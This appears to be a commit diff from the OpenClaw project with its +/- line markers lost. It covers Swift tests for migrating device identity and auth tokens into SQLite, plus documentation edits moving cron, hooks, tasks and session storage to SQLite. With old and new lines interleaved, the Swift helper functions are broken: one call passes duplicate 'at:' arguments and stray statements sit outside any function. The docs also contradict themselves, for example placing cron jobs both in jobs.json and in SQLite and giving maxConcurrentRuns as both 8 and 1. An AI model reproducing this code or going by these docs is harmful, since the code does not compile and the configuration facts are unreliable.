let signatureData = try #require(Self.base64UrlDecode(signature))
let publicKey = try Curve25519.Signing.PublicKey(rawRepresentation: publicKeyData)
#expect(publicKey.isValidSignature(signatureData, for: Data("hello".utf8)))
}
}
@Test("migrates legacy raw device identity sidecar into SQLite")
func migratesLegacyRawIdentitySidecarIntoSQLite() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyIdentityURL(stateDir: stateDir)
try FileManager.default.createDirectory(
at: legacyURL.deletingLastPathComponent(),
withIntermediateDirectories: true)
let legacy = Self.legacyRawIdentity()
let data = try JSONEncoder().encode(legacy)
try data.write(to: legacyURL)
#expect(DeviceIdentityStore.legacyIdentityMigrationRequired())
let identity = DeviceIdentityStore.loadOrCreate()
#expect(identity.deviceId == legacy.deviceId)
#expect(identity.publicKey == legacy.publicKey)
#expect(identity.privateKey == legacy.privateKey)
#expect(identity.createdAtMs == legacy.createdAtMs)
#expect(!FileManager.default.fileExists(atPath: legacyURL.path))
let stored = try #require(OpenClawSQLiteStateStore.readDeviceIdentity())
#expect(stored.deviceId == legacy.deviceId)
#expect(FileManager.default.fileExists(atPath: Self.databaseURL(stateDir: stateDir).path))
}
}
@Test("keeps default legacy device state under app support OpenClaw dir")
func keepsDefaultLegacyDeviceStateUnderAppSupportOpenClawDir() throws {
try Self.withDefaultStateEnvironment {
let appSupport = try #require(
FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first)
let expected = appSupport
.appendingPathComponent("OpenClaw", isDirectory: true)
.standardizedFileURL
#expect(DeviceIdentityPaths.legacyStateDirURL().standardizedFileURL == expected)
}
}
@Test("stores device auth tokens in SQLite without JSON sidecars")
func storesDeviceAuthTokensInSQLite() throws {
try Self.withTempStateDir { stateDir in
let entry = DeviceAuthStore.storeToken(
deviceId: "device-1",
role: " gateway ",
token: "token-1",
scopes: ["write", " read ", "write"])
#expect(entry.role == "gateway")
#expect(entry.scopes == ["read", "write"])
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway")?.token == "token-1")
#expect(!FileManager.default.fileExists(atPath: Self.legacyAuthURL(stateDir: stateDir).path))
let stored = try #require(OpenClawSQLiteStateStore.readDeviceAuthToken(
deviceId: "device-1",
role: "gateway"))
#expect(stored.token == "token-1")
#expect(stored.scopesJSON.contains("read"))
DeviceAuthStore.clearToken(deviceId: "device-1", role: "gateway")
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway") == nil)
}
}
@Test("migrates legacy device auth sidecar into SQLite")
func migratesLegacyDeviceAuthSidecarIntoSQLite() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyAuthURL(stateDir: stateDir)
try Self.writeLegacyAuthSidecar(
legacyURL,
deviceId: "device-1",
token: "token-1",
scopes: ["write", " read ", "write"])
let entry = try #require(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway"))
#expect(entry.token == "token-1")
#expect(entry.role == "gateway")
#expect(entry.scopes == ["read", "write"])
#expect(entry.updatedAtMs == 1_700_000_000_000)
#expect(!FileManager.default.fileExists(atPath: legacyURL.path))
let stored = try #require(OpenClawSQLiteStateStore.readDeviceAuthToken(
deviceId: "device-1",
role: "gateway"))
#expect(stored.token == "token-1")
}
}
@Test("ignores Android SecurePrefs token markers in shared SQLite auth rows")
func ignoresAndroidSecurePrefsTokenMarkers() throws {
try Self.withTempStateDir { _ in
try OpenClawSQLiteStateStore.upsertDeviceAuthToken(
OpenClawSQLiteDeviceAuthTokenRow(
deviceId: "device-1",
role: "gateway",
token: "__openclaw_secure_prefs__",
scopesJSON: "[]",
updatedAtMs: 1))
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway") == nil)
}
}
@Test("migrates same-device legacy auth roles before the first SQLite save")
func migratesSameDeviceLegacyAuthRolesBeforeFirstSQLiteSave() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyAuthURL(stateDir: stateDir)
try Self.writeLegacyAuthSidecar(
legacyURL,
deviceId: "device-1",
tokens: [
"gateway": ("gateway-token", ["read"]),
"operator": ("old-operator-token", ["operator.read"]),
])
_ = DeviceAuthStore.storeToken(
deviceId: "device-1",
role: "operator",
token: "operator-token",
scopes: ["operator.write"])
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway")?.token == "gateway-token")
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "operator")?.token == "operator-token")
#expect(!FileManager.default.fileExists(atPath: legacyURL.path))
}
}
@Test("does not resurrect legacy device auth role after SQLite rows exist")
func doesNotResurrectLegacyDeviceAuthRoleAfterSQLiteRowsExist() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyAuthURL(stateDir: stateDir)
_ = DeviceAuthStore.storeToken(
deviceId: "device-1",
role: "operator",
token: "operator-token",
scopes: ["operator"])
try Self.writeLegacyAuthSidecar(
legacyURL,
deviceId: "device-1",
role: "admin",
token: "stale-admin-token",
scopes: ["admin"])
_ = DeviceAuthStore.storeToken(
deviceId: "device-1",
role: "operator",
token: "operator-token-2",
scopes: ["operator"])
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "admin") == nil)
#expect(OpenClawSQLiteStateStore.readDeviceAuthToken(deviceId: "device-1", role: "admin") == nil)
#expect(!FileManager.default.fileExists(atPath: legacyURL.path))
}
}
@Test("keeps legacy device auth sidecar when SQLite import fails")
func keepsLegacyDeviceAuthSidecarWhenSQLiteImportFails() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyAuthURL(stateDir: stateDir)
try Self.writeLegacyAuthSidecar(
legacyURL,
deviceId: "device-1",
token: "token-1",
scopes: ["read"])
try FileManager.default.createDirectory(
at: Self.databaseURL(stateDir: stateDir),
withIntermediateDirectories: true)
let entry = try #require(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway"))
#expect(entry.token == "token-1")
#expect(entry.scopes == ["read"])
#expect(FileManager.default.fileExists(atPath: legacyURL.path))
}
}
@Test("falls back to legacy device auth sidecar when SQLite write fails")
func fallsBackToLegacyDeviceAuthSidecarWhenSQLiteWriteFails() throws {
try Self.withTempStateDir { stateDir in
try FileManager.default.createDirectory(
at: Self.databaseURL(stateDir: stateDir),
withIntermediateDirectories: true)
let entry = DeviceAuthStore.storeToken(
deviceId: "device-1",
role: " gateway ",
token: "token-fallback",
scopes: ["write"])
#expect(entry.token == "token-fallback")
#expect(entry.role == "gateway")
#expect(FileManager.default.fileExists(atPath: Self.legacyAuthURL(stateDir: stateDir).path))
let loaded = try #require(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway"))
#expect(loaded.token == "token-fallback")
#expect(loaded.scopes == ["write"])
}
}
@Test("merges legacy device auth sidecar when SQLite write fails")
func mergesLegacyDeviceAuthSidecarWhenSQLiteWriteFails() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyAuthURL(stateDir: stateDir)
try Self.writeLegacyAuthSidecar(
legacyURL,
deviceId: "device-1",
token: "gateway-token",
scopes: ["read"])
try FileManager.default.createDirectory(
at: Self.databaseURL(stateDir: stateDir),
withIntermediateDirectories: true)
_ = DeviceAuthStore.storeToken(
deviceId: "device-1",
role: "operator",
token: "operator-token",
scopes: ["write"])
let data = try Data(contentsOf: legacyURL)
let root = try #require(JSONSerialization.jsonObject(with: data) as? [String: Any])
let tokens = try #require(root["tokens"] as? [String: Any])
#expect((tokens["gateway"] as? [String: Any])?["token"] as? String == "gateway-token")
#expect((tokens["operator"] as? [String: Any])?["token"] as? String == "operator-token")
}
}
@Test("drops stale legacy device auth sidecar when storing a different device")
func dropsStaleLegacyDeviceAuthSidecarWhenReplacingDevice() throws {
try Self.withTempStateDir { stateDir in
let legacyURL = Self.legacyAuthURL(stateDir: stateDir)
try Self.writeLegacyAuthSidecar(
legacyURL,
deviceId: "device-1",
token: "stale-token",
scopes: ["read"])
let entry = DeviceAuthStore.storeToken(
deviceId: "device-2",
role: "gateway",
token: "fresh-token",
scopes: ["write"])
#expect(entry.token == "fresh-token")
#expect(DeviceAuthStore.loadToken(deviceId: "device-1", role: "gateway") == nil)
#expect(DeviceAuthStore.loadToken(deviceId: "device-2", role: "gateway")?.token == "fresh-token")
#expect(!FileManager.default.fileExists(atPath: legacyURL.path))
}
}
private static func withTempStateDir(_ body: (URL) throws -> Void) throws {
let previous = DeviceIdentityPaths.testingStateDirURL
let tempDir = FileManager.default.temporaryDirectory
.appendingPathComponent(UUID().uuidString, isDirectory: true)
let identityURL = tempDir
try FileManager.default.createDirectory(at: tempDir, withIntermediateDirectories: true)
DeviceIdentityPaths.testingStateDirURL = tempDir
defer {
DeviceIdentityPaths.testingStateDirURL = previous
try? FileManager.default.removeItem(at: tempDir)
}
try body(tempDir)
}
private static func withDefaultStateEnvironment(_ body: () throws -> Void) throws {
let previousTestingStateDir = DeviceIdentityPaths.testingStateDirURL
let previousStateDir = getenv("OPENCLAW_STATE_DIR").map { String(cString: $0) }
DeviceIdentityPaths.testingStateDirURL = nil
unsetenv("OPENCLAW_STATE_DIR")
defer {
DeviceIdentityPaths.testingStateDirURL = previousTestingStateDir
if let previousStateDir {
setenv("OPENCLAW_STATE_DIR", previousStateDir, 1)
} else {
unsetenv("OPENCLAW_STATE_DIR")
}
}
try body()
}
private static func databaseURL(stateDir: URL) -> URL {
stateDir
.appendingPathComponent("state", isDirectory: true)
.appendingPathComponent("openclaw.sqlite")
}
private static func legacyIdentityURL(stateDir: URL) -> URL {
stateDir
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent("device.json", isDirectory: false)
defer { try? FileManager.default.removeItem(at: tempDir) }
}
private static func legacyAuthURL(stateDir: URL) -> URL {
stateDir
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent("device-auth.json", isDirectory: false)
}
private static func writeLegacyAuthSidecar(
_ legacyURL: URL,
deviceId: String,
role: String = "gateway",
token: String,
scopes: [String]) throws
{
try FileManager.default.createDirectory(
at: identityURL.deletingLastPathComponent(),
at: legacyURL.deletingLastPathComponent(),
withIntermediateDirectories: true)
let stored = """
{
"version": 1,
"deviceId": "stale-device-id",
"publicKeyPem": "not-a-valid-public-key",
"privateKeyPem": "not-a-valid-private-key",
"createdAtMs": 1700000000000
}
"""
try stored.write(to: identityURL, atomically: true, encoding: .utf8)
let before = try String(contentsOf: identityURL, encoding: .utf8)
let legacy = [
"version": 1,
"deviceId": deviceId,
"tokens": [
role: [
"token": token,
"role": role,
"scopes": scopes,
"updatedAtMs": 1_700_000_000_000,
],
],
] as [String: Any]
let data = try JSONSerialization.data(withJSONObject: legacy, options: [.prettyPrinted, .sortedKeys])
try data.write(to: legacyURL)
}
let identity = DeviceIdentityStore.loadOrCreate(fileURL: identityURL)
#expect(identity.deviceId != "stale-device-id")
#expect(try String(contentsOf: identityURL, encoding: .utf8) == before)
private static func writeLegacyAuthSidecar(
_ legacyURL: URL,
deviceId: String,
tokens: [String: (token: String, scopes: [String])]) throws
{
try FileManager.default.createDirectory(
at: legacyURL.deletingLastPathComponent(),
withIntermediateDirectories: true)
let tokenEntries = tokens.map { role, value in
(
role,
[
"token": value.token,
"role": role,
"scopes": value.scopes,
"updatedAtMs": 1_700_000_000_000,
] as [String: Any]
)
}
let tokenObject = Dictionary(uniqueKeysWithValues: tokenEntries)
let legacy = [
"version": 1,
"deviceId": deviceId,
"tokens": tokenObject,
] as [String: Any]
let data = try JSONSerialization.data(withJSONObject: legacy, options: [.prettyPrinted, .sortedKeys])
try data.write(to: legacyURL)
}
private static func base64UrlDecode(_ value: String) -> Data? {
@@ -77,7 +428,21 @@ struct DeviceIdentityStoreTests {
return Data(base64Encoded: padded)
}
private static func identityJSON(publicKeyPem: String, privateKeyPem: String) throws -> String {
private static func legacyRawIdentity() -> DeviceIdentity {
let privateKey = Curve25519.Signing.PrivateKey()
let publicKeyData = privateKey.publicKey.rawRepresentation
let privateKeyData = privateKey.rawRepresentation
let deviceId = SHA256.hash(data: publicKeyData).compactMap {
String(format: "%02x", $0)
}.joined()
return DeviceIdentity(
deviceId: deviceId,
publicKey: publicKeyData.base64EncodedString(),
privateKey: privateKeyData.base64EncodedString(),
createdAtMs: 1_700_000_000_000)
}
private static func identityJSON(publicKeyPem: String, privateKeyPem: String) throws -> Data {
let object: [String: Any] = [
"version": 1,
"deviceId": "stale-device-id",
@@ -85,11 +450,14 @@ struct DeviceIdentityStoreTests {
"privateKeyPem": privateKeyPem,
"createdAtMs": 1_700_000_000_000,
]
let data = try JSONSerialization.data(withJSONObject: object, options: [.prettyPrinted, .sortedKeys])
return String(decoding: data, as: UTF8.self) + "\n"
return try JSONSerialization.data(withJSONObject: object, options: [.prettyPrinted, .sortedKeys])
}
private static func pem(label: String, body: String) -> String {
"-----BEGIN \(label)-----\n\(body)\n-----END \(label)-----\n"
}
private static func privateKeyMarker(_ boundary: String) -> String {
"-----\(boundary) \("PRIVATE" + " KEY")-----"
}
}

View File

@@ -1,3 +1,4 @@
#if Talk
import XCTest
@testable import OpenClawKit
@@ -17,3 +18,4 @@ final class ElevenLabsTTSValidationTests: XCTestCase {
XCTAssertNil(ElevenLabsTTSClient.validatedNormalize("maybe"))
}
}
#endif

View File

@@ -37,6 +37,9 @@ const bundledPluginIgnoredRuntimeDependencies = [
"@azure/identity",
"@clawdbot/lobster",
"@discordjs/opus",
"@earendil-works/pi-agent-core",
"@earendil-works/pi-ai",
"@earendil-works/pi-coding-agent",
"@homebridge/ciao",
"@lit/context",
"@matrix-org/matrix-sdk-crypto-wasm",
@@ -45,6 +48,7 @@ const bundledPluginIgnoredRuntimeDependencies = [
"@pierre/theme",
"@tloncorp/tlon-skill",
"@zed-industries/codex-acp",
"audio-decode",
"jiti",
"json5",
"lit",

View File

@@ -1,4 +1,4 @@
289c1bae4b9574d219fe61931be6b3ce42d4efb37d0a2edc570a521016394db5 config-baseline.json
5bcb22d1506d82e59caa3bbc97931213299e3a2c0d45dbc549386b254661094a config-baseline.core.json
a9102c0611b8170fac37853cc31771810f31757a9e3b2c6796bbd9625f9b9206 config-baseline.channel.json
0a8e088f8dc7b12341075ce019281d5fe45827ae802f60c71a490022ba5867cf config-baseline.plugin.json
8162a661edc183008a336db265a092acc90762c6c547b1383ef14fd0d381dea5 config-baseline.json
5ee177382cf32c2816dca0a4e67cd6c01df1045d600b21a6e9c11639ddb10ce8 config-baseline.core.json
7a7aba829deb8b54047b5c9e7dd3f3c9eade721e2f728db339c4ea99b77a162e config-baseline.channel.json
e6a1d6f51f0d9c04bd92d51deebfaca8c7917dd28d7998d225c0074e0a095348 config-baseline.plugin.json

View File

@@ -1,2 +1,2 @@
cf29066e9465cb5ac1387d1d482d0939b9176220ecc69964da9af1a471939269 plugin-sdk-api-baseline.json
ab43993cf713a96b191c55cf89bb215c18ecdc2d8edf50f31369ce3b162c56e3 plugin-sdk-api-baseline.jsonl
34d396bf8f1b2963884256e87c8879a378e2ce7c8064ae0c30d734085a305dd6 plugin-sdk-api-baseline.json
bf3e94dcccaf169811990dfd058a16ace8ce2ab44ea9eac6042b525b6d8baf5f plugin-sdk-api-baseline.jsonl

View File

@@ -68,8 +68,8 @@
"target": "消息生命周期重构"
},
{
"source": "ACP lifecycle refactor",
"target": "ACP 生命周期重构"
"source": "Refactoring",
"target": "重构"
},
{
"source": "Channel message API",
@@ -135,6 +135,14 @@
"source": "Pi",
"target": "Pi"
},
{
"source": "Embedded agent runtime architecture",
"target": "嵌入式 agent 运行时架构"
},
{
"source": "Embedded agent runtime development workflow",
"target": "嵌入式 agent 运行时开发工作流"
},
{
"source": "Agent runtimes",
"target": "Agent Runtimes"
@@ -1118,5 +1126,13 @@
{
"source": "Z.AI (GLM)",
"target": "Z.AI (GLM)"
},
{
"source": "Kysely best practices",
"target": "Kysely 最佳实践"
},
{
"source": "Database-first state refactor",
"target": "数据库优先状态重构"
}
]

View File

@@ -48,7 +48,7 @@ Token credentials (`type: "token"`) support inline `token` and/or `tokenRef`.
Agent auth inheritance is read-through. When an agent has no local profile, it
can resolve profiles from the default/main agent store at runtime without
copying secret material into its own `auth-profiles.json`.
copying secret material into its own SQLite auth-profile row.
Explicit copy flows, such as `openclaw agents add`, use this portability policy:
@@ -68,11 +68,11 @@ the target agent signs in separately and creates its own local profile.
credentials. They are valid when the target provider uses
`models.providers.<id>.auth: "aws-sdk"` or plugin-owned Amazon Bedrock setup
AWS SDK route. These profile ids may appear in `auth.order` and session
overrides even when no matching entry exists in `auth-profiles.json`.
overrides even when no matching entry exists in the SQLite auth-profile row.
Do not write `type: "aws-sdk"` into `auth-profiles.json`. If a legacy install
has such a marker, `openclaw doctor --fix` moves it to `auth.profiles` and
removes the marker from the credential store.
Do not write `type: "aws-sdk"` into the SQLite auth-profile row. If a legacy
install has such a marker, `openclaw doctor --fix` moves it to `auth.profiles`
and removes the marker from the credential store.
## Explicit auth order filtering
@@ -86,8 +86,8 @@ removes the marker from the credential store.
## Probe target resolution
- Probe targets can come from auth profiles, environment credentials, or
`models.json`.
- Probe targets can come from auth profiles, environment credentials, or the
stored model catalog.
- If a provider has credentials but OpenClaw cannot resolve a probeable model
candidate for it, `models status --probe` reports `status: no_model` with
`reasonCode: no_model`.

View File

@@ -40,11 +40,9 @@ Cron is the Gateway's built-in scheduler. It persists jobs, wakes the agent at t
## How cron works
- Cron runs **inside the Gateway** process (not inside the model).
- Job definitions persist at `~/.openclaw/cron/jobs.json` so restarts do not lose schedules.
- Runtime execution state persists next to it in `~/.openclaw/cron/jobs-state.json`. If you track cron definitions in git, track `jobs.json` and gitignore `jobs-state.json`.
- If `jobs.json` contains malformed rows, the Gateway keeps valid jobs running, removes the malformed rows from the active store, and saves the raw rows beside it in `jobs-quarantine.json` for later repair or review.
- After the split, older OpenClaw versions can read `jobs.json` but may treat jobs as fresh because runtime fields now live in `jobs-state.json`.
- When `jobs.json` is edited while the Gateway is running or stopped, OpenClaw compares the changed schedule fields with pending runtime slot metadata and clears stale `nextRunAtMs` values. Pure formatting or key-order-only rewrites preserve the pending slot.
- Job definitions, runtime state, and run history persist in OpenClaw's shared SQLite state database so restarts do not lose schedules.
- On upgrade, legacy `~/.openclaw/cron/jobs.json`, `jobs-state.json`, and `runs/*.jsonl` files are imported once and renamed with a `.migrated` suffix. Malformed job rows are skipped from runtime and copied to `jobs-quarantine.json` for later repair or review.
- `cron.store` still names the logical cron store key and legacy import path. After import, editing that JSON file no longer changes active cron jobs; use `openclaw cron add|edit|remove` or the Gateway cron RPC methods instead.
- All cron executions create [background task](/automation/tasks) records.
- On Gateway startup, overdue isolated agent-turn jobs are rescheduled out of the channel-connect window instead of replaying immediately, so Discord/Telegram startup and native-command setup stay responsive after restarts.
- One-shot jobs (`--at`) auto-delete after success by default.
@@ -60,7 +58,7 @@ Cron is the Gateway's built-in scheduler. It persists jobs, wakes the agent at t
<a id="maintenance"></a>
<Note>
Task reconciliation for cron is runtime-owned first, durable-history-backed second: an active cron task stays live while the cron runtime still tracks that job as running, even if an old child session row still exists. Once the runtime stops owning the job and the 5-minute grace window expires, maintenance checks persisted run logs and job state for the matching `cron:<jobId>:<startedAt>` run. If that durable history shows a terminal result, the task ledger is finalized from it; otherwise Gateway-owned maintenance can mark the task `lost`. Offline CLI audit can recover from durable history, but it does not treat its own empty in-process active-job set as proof that a Gateway-owned cron run is gone.
Task reconciliation for cron is runtime-owned first, durable-history-backed second: an active cron task stays live while the cron runtime still tracks that job as running, even if an old child session row still exists. Once the runtime stops owning the job and the 5-minute grace window expires, maintenance checks persisted SQLite run logs and job state for the matching `cron:<jobId>:<startedAt>` run. If that durable history shows a terminal result, the task ledger is finalized from it; otherwise Gateway-owned maintenance can mark the task `lost`. Offline CLI audit can recover from durable history, but it does not treat its own empty in-process active-job set as proof that a Gateway-owned cron run is gone.
</Note>
## Schedule types
@@ -446,15 +444,14 @@ Model override note:
{
cron: {
enabled: true,
store: "~/.openclaw/cron/jobs.json",
maxConcurrentRuns: 8,
store: "~/.openclaw/cron/jobs.json", // optional legacy import key
maxConcurrentRuns: 1,
retry: {
maxAttempts: 3,
backoffMs: [60000, 120000, 300000],
retryOn: ["rate_limit", "overloaded", "network", "server_error"],
},
webhookToken: "replace-with-dedicated-webhook-token",
sessionRetention: "24h",
runLog: { maxBytes: "2mb", keepLines: 2000 },
},
}
@@ -462,9 +459,7 @@ Model override note:
`maxConcurrentRuns` limits both scheduled cron dispatch and isolated agent-turn execution, and defaults to 8. Isolated cron agent turns use the queue's dedicated `cron-nested` execution lane internally, so raising this value lets independent cron LLM runs progress in parallel instead of only starting their outer cron wrappers. The shared non-cron `nested` lane is not widened by this setting.
The runtime state sidecar is derived from `cron.store`: a `.json` store such as `~/clawd/cron/jobs.json` uses `~/clawd/cron/jobs-state.json`, while a store path without a `.json` suffix appends `-state.json`.
If you hand-edit `jobs.json`, leave `jobs-state.json` out of source control. OpenClaw uses that sidecar for pending slots, active markers, last-run metadata, and the schedule identity that tells the scheduler when an externally edited job needs a fresh `nextRunAtMs`.
`cron.store` is a logical store key and legacy import path. Existing stores are imported into SQLite on first load and archived; future cron changes should go through the CLI or Gateway API.
Disable cron: `cron.enabled: false` or `OPENCLAW_SKIP_CRON=1`.
@@ -476,7 +471,7 @@ Disable cron: `cron.enabled: false` or `OPENCLAW_SKIP_CRON=1`.
</Accordion>
<Accordion title="Maintenance">
`cron.sessionRetention` (default `24h`) prunes isolated run-session entries. `cron.runLog.maxBytes` / `cron.runLog.keepLines` auto-prune run-log files.
`cron.sessionRetention` (default `24h`) prunes isolated run-session entries. `cron.runLog.keepLines` limits retained SQLite run-history rows per job; `maxBytes` is retained for config compatibility with older file-backed run logs.
</Accordion>
</AccordionGroup>
@@ -515,7 +510,7 @@ openclaw doctor
<Accordion title="Cron or heartbeat appears to prevent /new-style rollover">
- Daily and idle reset freshness is not based on `updatedAt`; see [Session management](/concepts/session#session-lifecycle).
- Cron wakeups, heartbeat runs, exec notifications, and gateway bookkeeping may update the session row for routing/status, but they do not extend `sessionStartedAt` or `lastInteractionAt`.
- For legacy rows created before those fields existed, OpenClaw can recover `sessionStartedAt` from the transcript JSONL session header when the file is still available. Legacy idle rows without `lastInteractionAt` use that recovered start time as their idle baseline.
- For legacy rows created before those fields existed, OpenClaw can recover `sessionStartedAt` from the SQLite transcript session header after doctor migration. Legacy idle rows without `lastInteractionAt` use that recovered start time as their idle baseline.
</Accordion>
<Accordion title="Timezone gotchas">

View File

@@ -6,7 +6,7 @@ read_when:
title: "Hooks"
---
Hooks are small scripts that run when something happens inside the Gateway. They can be discovered from directories and inspected with `openclaw hooks`. The Gateway loads internal hooks only after you enable hooks or configure at least one hook entry, hook pack, legacy handler, or extra hook directory.
Hooks are small scripts that run when something happens inside the Gateway. They can be discovered from directories and inspected with `openclaw hooks`. The Gateway loads internal hooks only after you enable hooks or configure at least one hook entry, hook pack, or extra hook directory.
There are two kinds of hooks in OpenClaw:
@@ -190,7 +190,7 @@ Hooks are discovered from these directories, in order of increasing override pre
Workspace hooks can add new hook names but cannot override bundled, managed, or plugin-provided hooks with the same name.
The Gateway skips internal hook discovery on startup until internal hooks are configured. Enable a bundled or managed hook with `openclaw hooks enable <name>`, install a hook pack, or set `hooks.internal.enabled=true` to opt in. When you enable one named hook, the Gateway loads only that hook's handler; `hooks.internal.enabled=true`, extra hook directories, and legacy handlers opt into broad discovery.
The Gateway skips internal hook discovery on startup until internal hooks are configured. Enable a bundled or managed hook with `openclaw hooks enable <name>`, install a hook pack, or set `hooks.internal.enabled=true` to opt in. When you enable one named hook, the Gateway loads only that hook's handler; `hooks.internal.enabled=true` and extra hook directories opt into broad discovery.
### Hook packs
@@ -208,7 +208,7 @@ Npm specs are registry-only (package name + optional exact version or dist-tag).
| --------------------- | ------------------------------------------------- | -------------------------------------------------------------- |
| session-memory | `command:new`, `command:reset` | Saves session context to `<workspace>/memory/` |
| bootstrap-extra-files | `agent:bootstrap` | Injects additional bootstrap files from glob patterns |
| command-logger | `command` | Logs all commands to `~/.openclaw/logs/commands.log` |
| command-logger | `command` | Logs all commands to the shared SQLite state database |
| compaction-notifier | `session:compact:before`, `session:compact:after` | Sends visible chat notices when session compaction starts/ends |
| boot-md | `gateway:startup` | Runs `BOOT.md` when the gateway starts |
@@ -249,7 +249,8 @@ Paths resolve relative to workspace. Only recognized bootstrap basenames are loa
### command-logger details
Logs every slash command to `~/.openclaw/logs/commands.log`.
Logs every slash command to the `command_log_entries` table in
`~/.openclaw/state/openclaw.sqlite`.
<a id="compaction-notifier"></a>
@@ -325,7 +326,7 @@ Extra hook directories:
```
<Note>
The legacy `hooks.internal.handlers` array config format is still supported for backwards compatibility, but new hooks should use the discovery-based system.
The legacy `hooks.internal.handlers` array config format is not loaded by the Gateway. Run `openclaw doctor --fix` to detect stale config, then move each hook into a discovered hook directory with `HOOK.md` metadata.
</Note>
## CLI reference

View File

@@ -116,9 +116,9 @@ Example: three independent cron jobs that together form a "morning ops" routine.
## Durable state and revision tracking
Each flow persists its own state and tracks revisions so progress survives gateway restarts. Revision tracking enables conflict detection when multiple sources attempt to advance the same flow concurrently.
The flow registry uses SQLite with bounded write-ahead-log maintenance, including
periodic and shutdown checkpoints, so long-running gateways do not retain
unbounded `registry.sqlite-wal` sidecar files.
The flow registry persists in the shared SQLite state database at
`~/.openclaw/state/openclaw.sqlite`, using the same bounded write-ahead-log
maintenance as the rest of OpenClaw runtime state.
## Cancel behavior

View File

@@ -249,8 +249,8 @@ openclaw tasks notify <lookup> state_changes
- ACP/subagent tasks check their backing child session.
- Subagent tasks whose child session has a restart-recovery tombstone are marked lost instead of being treated as recoverable backing sessions.
- Cron tasks check whether the cron runtime still owns the job, then recover terminal status from persisted cron run logs/job state before falling back to `lost`. Only the Gateway process is authoritative for the in-memory cron active-job set; offline CLI audit uses durable history but does not mark a cron task lost solely because that local Set is empty.
- CLI tasks with run identity check the owning live run context, not just child-session or chat-session rows.
- Cron tasks check whether the cron runtime still owns the job, then recover terminal status from persisted SQLite cron run logs/job state before falling back to `lost`. Only the Gateway process is authoritative for the in-memory cron active-job set; offline CLI audit uses durable history but does not mark a cron task lost solely because that local Set is empty.
- Chat-backed CLI tasks check the owning live run context, not just the chat session row.
Completion cleanup is also runtime-aware:
@@ -306,7 +306,7 @@ Both `/status` and the `session_status` tool use a cleanup-aware task snapshot:
Task records persist in SQLite at:
```
$OPENCLAW_STATE_DIR/tasks/runs.sqlite
$OPENCLAW_STATE_DIR/state/openclaw.sqlite
```
The registry loads into memory at gateway start and syncs writes to SQLite for durability across restarts.
@@ -346,7 +346,7 @@ A sweeper runs every **60 seconds** and handles four things:
</Accordion>
<Accordion title="Tasks and cron">
A cron job **definition** lives in `~/.openclaw/cron/jobs.json`; runtime execution state lives beside it in `~/.openclaw/cron/jobs-state.json`. **Every** cron execution creates a task record - both main-session and isolated. Main-session cron tasks default to `silent` notify policy so they track without generating notifications.
Cron job definitions, runtime execution state, and run history live in OpenClaw's shared SQLite state database. **Every** cron execution creates a task record - both main-session and isolated. Main-session cron tasks default to `silent` notify policy so they track without generating notifications.
See [Cron Jobs](/automation/cron-jobs).

View File

@@ -128,17 +128,19 @@ Example:
## Session storage
Session stores live under the state directory (default `~/.openclaw`):
Canonical session metadata lives in SQLite:
- `~/.openclaw/agents/<agentId>/sessions/sessions.json`
- JSONL transcripts live alongside the store
- `~/.openclaw/state/openclaw.sqlite` registers agents and shared control-plane rows.
- `~/.openclaw/agents/<agentId>/agent/openclaw-agent.sqlite` stores that
agent's session rows and transcript events.
You can override the store path via `session.store` and `{agentId}` templating.
Legacy `sessions.json` indexes are imported by `openclaw doctor --fix` and
removed after SQLite has the rows. Runtime metadata should go through the
agent's SQLite database. Startup does not import or rewrite legacy session indexes.
Gateway and ACP session discovery also scans disk-backed agent stores under the
default `agents/` root and under templated `session.store` roots. Discovered
stores must stay inside that resolved agent root and use a regular
`sessions.json` file. Symlinks and out-of-root paths are ignored.
Gateway and ACP session discovery read SQLite metadata. JSONL transcript files
are legacy doctor-import inputs or explicit export artifacts only; runtime code
must not create, select, or bridge through transcript files or locators.
## WebChat behavior

View File

@@ -252,7 +252,7 @@ Once DMs are working, you can set up your Discord server as a full workspace whe
In guild channels, normal replies post automatically by default. For shared always-on rooms, opt into `messages.groupChat.visibleReplies: "message_tool"` so the agent can lurk and only post when it decides a channel reply is useful. This works best with latest-generation, tool-reliable models such as GPT 5.5. Ambient room events stay quiet unless the tool sends. See [Ambient room events](/channels/ambient-room-events) for the full lurk-mode config.
If Discord shows typing and the logs show token usage but no posted message, check whether the turn was configured as an ambient room event or opted into message-tool visible replies.
This means the selected model should reliably call tools. If Discord shows typing and the logs show token usage but no posted message, check whether the turn was configured as an ambient room event, inspect the gateway verbose log or SQLite transcript for `didSendViaMessagingTool: false`, or use the config below to restore legacy automatic final replies for normal group requests.
<Tabs>
<Tab title="Ask your agent">

View File

@@ -85,8 +85,8 @@ Only the owner number (from `channels.whatsapp.allowFrom`, or the bot's own E.16
- Heartbeats are intentionally skipped for groups to avoid noisy broadcasts.
- Echo suppression uses the combined batch string; if you send identical text twice without mentions, only the first will get a response.
- Session store entries will appear as `agent:<agentId>:whatsapp:group:<jid>` in the session store (`~/.openclaw/agents/<agentId>/sessions/sessions.json` by default); a missing entry just means the group hasn't triggered a run yet.
- Typing indicators in groups follow `agents.defaults.typingMode`. When visible replies are opted into message-tool-only mode, typing starts immediately by default so group members can see the agent is working even if no automatic final reply is posted. Explicit typing-mode config still wins.
- Session rows use keys like `agent:<agentId>:whatsapp:group:<jid>` in the per-agent database; a missing row just means the group hasn't triggered a run yet.
- Typing indicators in groups follow `agents.defaults.typingMode`. When visible replies use the default message-tool-only mode, typing starts immediately by default so group members can see the agent is working even if no automatic final reply is posted. Explicit typing-mode config still wins.
## Related

